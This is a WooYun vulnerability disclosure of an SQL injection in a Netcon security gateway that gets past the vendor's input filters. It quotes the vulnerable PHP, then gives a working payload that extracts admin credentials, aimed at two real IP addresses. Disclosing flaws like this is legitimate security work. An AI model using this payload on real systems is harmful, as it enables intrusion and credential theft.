当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-077689

漏洞标题:网康安全网关SQL注入(绕过全局防注入)

相关厂商:网康科技

漏洞作者: secmap

提交时间:2014-10-08 09:56

修复时间:2015-01-06 09:58

公开时间:2015-01-06 09:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-08: 细节已通知厂商并且等待厂商处理中
2014-10-08: 厂商已经确认,细节仅向厂商公开
2014-10-11: 细节向第三方安全合作伙伴开放
2014-12-02: 细节向核心白帽子及相关领域专家公开
2014-12-12: 细节向普通白帽子公开
2014-12-22: 细节向实习白帽子公开
2015-01-06: 细节向公众公开

简要描述:

网康科技经过上一次的洗礼过后,整体的安全性有了很大的提高,(拍掌...)
其全局过滤函数非常变态,研究过后,最终还是发现了一处注入,绕过了变态的全局防注入。

详细说明:

0x01 先来看看全局过滤函数

//防注入函数
function inject_check($sql_str)
{
return preg_match( "/(select|insert|update|delete|drop|'|\/\*|\*|\.\.\/|\.\/|UNION|into|load_file|outfile)/i", $sql_str );
}


更变态的还有

function str_check($str)
{
if(strstr($str, ' '))
return false;
if(strstr($str, "'"))
return false;
if(strstr($str, '"'))
return false;
if(strstr($str, '/'))
return false;
if(strstr($str, '&'))
return false;
if(strstr($str, ';'))
return false;
if(strstr($str, '%'))
return false;
return true;
}


当检测到有这些符号、字符 直接调用exit()推出,有点变态。
0x02 下面来说这个注入是怎样产生的
漏洞的文件为
/WebPages/applyhardware.php
部分代码

include("include/common.inc");
session_start();
$para = $_SESSION['parastr'];
if(!str_check($action))
$action = "";
switch ($action)
{
case "":
redirect("/vpnweb/index.php?para=$para");
break;
case "applyhardware":
$dbh = db_connect();
$hard_user = urldecode($hard_user);
$hard_pass = urldecode($hard_pass);
if(!str_check($hard_user))
$hard_user = "";
if(!str_check($hard_pass))
$hard_pass = "";
$query = "select UserId from ISCUserTable where UserName='$hard_user' and Password='$hard_pass'";


其中 $hard_user 和 $hard_pass 两个参数,经过了str_check的检查,但两个参数均是通过urldecode解码后得到的 ,加上最后进入SQL查询的语句为:
select UserId from ISCUserTable where UserName='$hard_user' and Password='$hard_pass'
于是最终想到了结合两个参数,实现注入
0x03 对该注入的利用
通过对str_check函数的分析,我们提交的参数不能含有空格、单引号、双引号、斜线、分号等,最后通过无数次的测试,有了最终的利用代码:
hard_user=%255C&hard_pass=%0a%0dand%0a%0d1=(updatexml(1,concat(0x5e24,(select%0a%0dconcat(adminname,0x7e,passwd)%0a%0dfrom%0a%0dAdmin%0a%0dlimit%0a%0d1),0x5e24),1))%2523
0x04 漏洞证明
https://60.216.87.203//WebPages/applyhardware.php?action=applyhardware&hard_user=%255C&hard_pass=%0a%0dand%0a%0d1=(updatexml(1,concat(0x5e24,(select%0a%0dconcat(adminname,0x7e,passwd)%0a%0dfrom%0a%0dAdmin%0a%0dlimit%0a%0d1),0x5e24),1))%2523

11.jpg


https://115.24.177.57/WebPages/applyhardware.php?action=applyhardware&hard_user=%255C&hard_pass=%0a%0dand%0a%0d1=(updatexml(1,concat(0x5e24,(select%0a%0dconcat(adminname,0x7e,passwd)%0a%0dfrom%0a%0dAdmin%0a%0dlimit%0a%0d1),0x5e24),1))%2523

22.jpg

漏洞证明:

22.jpg

修复方案:

inject_check()函数过滤

版权声明:转载请注明来源 secmap@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:19

确认时间:2014-10-08 10:08

厂商回复:

感谢大家的支持,大家的支持是我们进步的动力。

最新状态:

暂无